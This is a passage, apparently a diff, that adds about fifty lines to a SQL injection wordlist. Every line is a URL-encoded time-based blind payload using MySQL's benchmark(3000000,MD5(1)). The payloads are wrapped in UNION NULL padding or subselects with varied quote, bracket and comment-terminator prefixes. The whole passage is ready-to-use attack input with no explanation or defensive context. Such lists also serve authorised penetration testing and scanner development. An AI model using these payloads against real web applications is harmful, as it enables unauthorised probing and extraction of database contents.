+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20--
1306
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23
1307
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/*
1308
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20--
1309
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23
1310
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
1311
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
1312
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
1313
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
1314
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
1315
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
1316
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
1317
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
1318
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
1319
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
1320
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
1321
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
1322
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
1323
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
1324
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
1325
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
1326
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
1327
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
1328
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
1329
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
1330
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
1331
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
1332
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
1333
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
1334
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
1335
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
1336
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
1337
+ ,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
1338
+ ,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
1339
+ ,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
1340
+ ',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
1341
+ ',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
1342
+ ',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
1343
+ ",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
1344
+ ",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
1345
+ ",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
1346
+ ),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
1347
+ ),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
1348
+ ),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
1349
+ '),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
1350
+ '),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
1351
+ '),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
1352
+ "),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
1353
+ "),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
1354
+ "),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23